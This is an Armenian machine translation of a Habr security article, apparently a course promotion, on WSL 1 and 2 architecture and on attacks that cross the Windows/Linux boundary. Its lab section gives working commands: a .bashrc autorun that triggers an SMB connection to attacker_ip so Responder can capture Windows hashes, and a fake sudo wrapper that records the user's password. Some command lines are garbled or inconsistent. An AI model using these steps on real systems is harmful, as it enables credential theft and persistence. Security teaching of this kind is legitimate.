WSL փորձեր. Մաս 1

Բարև, հաբր! OTUS-ը հոկտեմբերին սկսում է դասընթացների նոր հոսք «Linux Security». Դասընթացի մեկնարկին ընդառաջ մենք ձեզ հետ կիսվում ենք մեր ուսուցիչներից Ալեքսանդր Կոլեսնիկովի կողմից գրված հոդվածով։

WSL փորձեր. Մաս 1

2016 թվականին Microsoft-ը ՏՏ համայնքին ներկայացրեց նոր WSL տեխնոլոգիան (Wներսում Sենթահամակարգի համար Linux), որն ապագայում հնարավորություն ընձեռեց միավորել նախկինում անհաշտ մրցակիցներին, ովքեր պայքարում էին ժողովրդականության համար ինչպես սովորական, այնպես էլ առաջադեմ ՕՀ օգտագործողների շրջանում՝ Windows և Linux: Այս տեխնոլոգիան հնարավորություն տվեց օգտագործել Linux OS գործիքները Windows միջավայրում՝ առանց Linux գործարկելու անհրաժեշտության, օրինակ՝ օգտագործելով Multi-boot: Habr-ում կարող եք գտնել բազմաթիվ հոդվածներ, որոնք նկարագրում են WSL-ի օգտագործման առավելությունները: Այնուամենայնիվ, ցավոք, այս հոդվածի ստեղծման պահին այս ռեսուրսի վրա օպերացիոն համակարգերի նման սիմբիոզի անվտանգության վերաբերյալ ուսումնասիրություններ չեն հայտնաբերվել: Այս գրառումը փորձ կլինի ուղղել սա: Հոդվածում կխոսվի WSL 1 և 2 ճարտարապետության առանձնահատկությունների մասին և կքննարկվեն այս տեխնոլոգիաների օգտագործմամբ համակարգերի վրա հարձակումների մի քանի օրինակ: Հոդվածը բաժանված է 2 մասի. Առաջինը կտրամադրի հիմնական տեսական հարձակման մեթոդները Linux-ից և Windows-ից: Երկրորդ հոդվածը կներառի թեստային միջավայրի ստեղծում և հարձակումների վերարտադրում:

WSL 1. ճարտարապետական ​​առանձնահատկություններ

WSL անվտանգության խնդիրների մեջ առավել ճշգրիտ սուզվելու համար անհրաժեշտ է որոշել ենթահամակարգի ներդրման հետ կապված հիմնական նրբությունները: WSL-ի կողմից լուծված օգտատերերի հիմնական խնդիրներից մեկը Linux տերմինալի միջոցով Windows OS-ով աշխատող հոսթի վրա աշխատելու հնարավորությունն է: Բացի այդ, առաջարկվող համատեղելիությունն այնքան բնիկ էր, որ Linux գործարկվողները (ELF) կարող էին ուղղակիորեն գործարկվել Windows համակարգում: Այս նպատակներին հասնելու համար Windows 10-ում ստեղծվել է հատուկ ենթահամակարգ, որը թույլ է տալիս գործարկել Linux հավելվածները՝ օգտագործելով որոշակի համակարգային զանգեր, այսպիսով, փորձ է արվել քարտեզագրել Linux syscalls-ի մի շարք Windows-ում: Սա ֆիզիկապես իրականացվել է՝ ավելացնելով նոր դրայվերներ և գործընթացի նոր ձևաչափ: Տեսողականորեն ճարտարապետությունն այսպիսի տեսք ուներ.

WSL փորձեր. Մաս 1

Փաստորեն, Linux օպերացիոն համակարգի հետ փոխգործակցությունը կազմակերպվել է միջուկի մի քանի մոդուլների և պրոցեսի հատուկ տեսակի՝ pico-ի միջոցով։ Վերևի գծապատկերից դուք կարող եք տեսնել, որ հոսթի վրա Linux օրինակով աշխատող գործընթացը պետք է լինի բնիկ և օգտագործի նույն ռեսուրսները, ինչ սովորական Windows հավելվածները: Բայց ինչպե՞ս հասնել դրան: Նախագծում Գավազան Windows-ի համար մշակվել են գործընթացի հայեցակարգեր, որոնք ապահովում էին օպերացիոն համակարգի բոլոր անհրաժեշտ բաղադրիչները (կախված դրա տարբերակից) մեկ այլ ՕՀ հավելված գործարկելու համար:

Նշենք, որ առաջարկվող աբստրակցիան հնարավորություն տվեց չկենտրոնանալ օպերացիոն համակարգի վրա (մասնավորապես՝ Windows), որտեղ ակնկալվում է մեկ այլ ՕՀ-ի գործընթացի մեկնարկը, և առաջարկեց ընդհանուր մոտեցում։

Այսպիսով, pico գործընթացի ներսում ցանկացած հավելված կարող է գործարկվել առանց Windows-ի միջուկի.

  1. Համակարգային զանգերի համատեղելիության և թարգմանության խնդիրները պետք է լուծվեն հատուկ պրովայդերների կողմից.
  2. Մուտքի վերահսկումը պետք է իրականացվի Անվտանգության մոնիտորի միջոցով: Մոնիտորը գտնվում է միջուկում, և հետևաբար Windows-ին անհրաժեշտ էր արդիականացում նոր վարորդի տեսքով, որը կարող է հանդես գալ որպես նման գործընթացների մատակարար: Պիկո պրոցեսի նախատիպը սխեմատիկորեն ներկայացված է ստորև.

WSL փորձեր. Մաս 1

Քանի որ Linux ֆայլային համակարգը օգտագործում է մեծատառերի զգայուն ֆայլերի և գրացուցակների անուններ, Windows-ին ավելացվեցին 2 տեսակի ֆայլային համակարգեր WSL-ի հետ աշխատելու համար՝ VolFS և DriveFS: VolFS-ը Linux ֆայլային համակարգի ներդրումն է, DriveFS-ը ֆայլային համակարգ է, որն աշխատում է Windows-ի կանոններով, բայց ունի մեծատառերի զգայունության ընտրության հնարավորություն։

WSL 2

WSL 1-ն ուներ մի շարք սահմանափակումներ, որոնք թույլ չէին տալիս այն օգտագործել առաջադրանքների առավելագույն տիրույթը լուծելու համար. օրինակ, այն չուներ 32-բիթանոց Linux հավելվածներ գործարկելու հնարավորություն, և անհնար էր օգտագործել սարքի դրայվերները: Ուստի 2020 թվականին թողարկվեց WSL 2-ը, որը փոխեց ենթահամակարգի կառուցման մոտեցումը։ WSL 2-ը օպտիմիզացված վիրտուալ մեքենա է, որը համապատասխանում է WSL 1-ի ռեսուրսների սպառման բնութագրերին: Այժմ, կախված Windows OS օգտագործողի կողմից լուծված խնդիրներից, կարող եք ընտրել Linux ենթահամակարգի անհրաժեշտ տարբերակը։ Հնարավոր խոցելիությունը մեղմելու համար WSL 2-ը ներդրվել է Hyper-V-ի հիման վրա Windows 10-ում: Այս ձևով Windows-ը հնարավորություն ունի գործարկել Linux օպերացիոն համակարգի միջուկը առանձին: Արժե հիշել, որ WSL-ի 1-ին տարբերակը ներկայացվել է որպես բետա ֆունկցիա, որը պետք է ցույց տա Windows-ի զարգացման ուղղությունը այս ոլորտում, ուստի Hyper-V-ի անցումն անխուսափելի էր։ Վերջնական ճարտարապետությունն ունի հետևյալ տեսքը.

WSL փորձեր. Մաս 1

Այս տարբերակում Windows-ի և Linux-ի միջուկներն ունեն իրենց սեփական ռեսուրսները, և խաչմերուկը գոյություն ունի միայն ֆայլային համակարգում, բայց այս խաչմերուկը ամբողջական չէ: Ֆայլային համակարգերի միջև փոխազդեցությունն իրականացվում է հաճախորդ-սերվերի փաթաթման միջոցով, որն աշխատում է 9P արձանագրության միջոցով:

Այսօր Microsoft-ն ապահովում է WSL 1-ի և WSL 2-ի միջև անցնելու հնարավորություն: Երկու տարբերակներն էլ հասանելի են օգտագործման համար:

WSL անվտանգություն

Այս պահին կան մի քանի աշխատանքներ, որոնք նկարագրում են ենթահամակարգերի միջև հաղորդակցության վրա հարձակվելու օրինական OS գործիքների օգտագործման որոշ մոտեցումներ: Մենք կօգտագործենք նրանց սցենարները գրելու պահին գրոհների համապատասխանությունը ստուգելու համար: Հարձակումների և սցենարների ընդհանուր ցուցակ.

1. Ֆայլային համակարգի ներդրում. մուտքի իրավունքներ, ընդհանուր գրացուցակների/տվյալների փոխանակման մեխանիզմների առկայություն:

Հետազոտություն է իրականացվել՝ պարզելու մուտքի կանոնների խախտումները Linux FS->Windows FS, Windows FS->Linux FS. Հետազոտությունը ցույց է տվել տվյալ ֆայլը թիրախային ՕՀ-ում փոփոխելու ունակությունը: Փորձեր են արվել նաև փոխարինել, ստեղծել կրկնօրինակներ և ջնջել ֆայլային համակարգերի մի մասը։

Սցենար.

  • Ա. Հարձակում Windows օպերացիոն համակարգից - ֆայլերի փոփոխում Linux OS-ի /etc գրացուցակից:
  • B. Հարձակում Linux օպերացիոն համակարգից - դիրեկտորիաների ֆայլերի փոփոխություն. C:Windows, C:Program Files, C:Users<User>

2. Ցանցային ստեկի իրականացում:

Հետազոտությունն իրականացվել է Windows-ի վրա Linux օպերացիոն համակարգի հարձակումների օրինակների միջոցով։ Օգտագործվել են ցանցային կույտի առանձնահատկությունները, այն է՝ նույնականացման մեխանիզմները տարբեր ռեսուրսների վրա:

Սցենար.

  • Բացել մուտք դեպի նավահանգիստ, որը զբաղված է Windows համակարգում
  • Առանց համապատասխան իրավունքների նավահանգիստ բացելը
  • Windows օպերացիոն համակարգում elf ֆայլի միջոցով հակադարձ կեղևի գործարկում:

3. WSL ենթահամակարգի օգտագործմամբ վնասակար ծրագրային գործընթացների գործարկումը թաքցնելը:

Հետազոտությունը հիմնված էր մի պարզ փաստի վրա. անվտանգության ենթահամակարգերը չեն կարող գաղտնալսել իրադարձությունները մեկ այլ միջուկում, որն աշխատում է օպերացիոն համակարգի օրինական մատակարարի միջոցով WSL 1-ի դեպքում: WSL 2-ի դեպքում չկա որևէ կերպ դիտելու իրադարձությունները, որոնք տեղի են ունենում: առանձին միջուկում՝ թեթև վիրտուալ մեքենայի մեջ:

Սցենար.

1) Գործարկեք համակարգ հեռակա մուտքի հավելվածը և դիտեք գրանցված իրադարձությունները:

WSL 1 փորձեր. հեշի ընդհատում (Windows)

Վերջապես հասանք գործնական մասին։ Նախ, դուք պետք է կարգավորեք թեստային միջավայրը: Բոլոր փորձերը կիրականացվեն նստարանի վրա, որտեղ տեղադրված է Windows 10 2004. Ubuntu 18.04 պատկերն ընտրվել է որպես օպերացիոն համակարգի պատկեր WSL-ի համար: Պատկերը ընտրվել է պատահականության սկզբունքով, և ցանկացած այլ կաշխատի նույն կերպ: Ստենդ տեղադրելու հրամաններ.

Նախ պետք է գործարկել powershell.exe որպես ադմինիստրատոր։

WSL 1-ի համար անհրաժեշտ է գործարկել հրամանները.

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Ստենդը վերագործարկելուց հետո կարող եք զանգահարել bash հրամանը: Եթե ​​ամեն ինչ ճիշտ է աշխատել, Windows-ի վահանակում կտեսնեք նման արդյունք.

    WSL փորձեր. Մաս 1

    Մենք կօգտագործենք Kali Linux բաշխումը որպես հարձակվողի մեքենա, բոլոր մեքենաները պետք է լինեն նույն տեղական ցանցում:

    Ենթադրենք, որ մենք ունենք անարտոնյալ մուտք դեպի WSL Windows սարքի վրա: Փորձենք հարձակվել Linux օպերացիոն համակարգի վրա՝ կանչելով հրաման Linux-ից։ Հարձակումն իրականացնելու համար մենք կօգտագործենք պարզ autorun տեխնիկա՝ մենք կավելացնենք մեր սցենարը Linux միջավայրում կատարման համար: Դա անելու համար անհրաժեշտ է փոխել ֆայլը .bashrc.

    WSL ունեցող մեքենայի վրա մենք կատարում ենք.

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux մեքենայի վրա մենք աշխատում ենք.

    1. Responder -I eth0 -rdvw

    Windows ապարատի վրա եկեք գործարկենք bash-ը:

    Մենք սպասում ենք արդյունքին Kali Linux մեքենայի վրա.

    WSL փորձեր. Մաս 1

    Այսպիսով, մենք ստացանք Windows օգտվողի հեշերը WSL ենթահամակարգի միջոցով՝ կատարելով հրամանը Linux համակարգում:

    WSL 1 փորձեր. օգտվողի գաղտնաբառի ստացում (Linux OS)

    Եկեք ևս մեկ փորձ անենք։ Այս ստուգման ընթացքում մենք կավելացնենք ֆայլը .bashrc մի քանի հրամաններ՝ Linux օպերացիոն համակարգի օգտատիրոջ գաղտնաբառը ստանալու համար:

    Եկեք գործարկենք bash-ը և մուտքագրենք հրամանները.

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Հարձակումը հաջողությամբ ավարտելու համար Սեմ օգտատերը պետք է Linux տերմինալում զանգի sudo: Դրանից հետո ֆայլում կլինի Linux OS օգտվողի գաղտնաբառը pass.txt:

    WSL փորձեր. Մաս 1

    Հարձակումների իրականացումը տրվել է միայն տեսական տեղեկատվության համար։

    Հոդվածի հաջորդ մասում կնկարագրվի 9P արձանագրության իրականացումը, կքննարկվի այս արձանագրության համար սկաների ստեղծումը, ինչպես նաև այն օգտագործելով հարձակումը:

    Օգտագործված գրականության ցանկ

    WSL փորձեր. Մաս 1

    Կարդալ ավելին

    Source: www.habr.com

    Добавить комментарий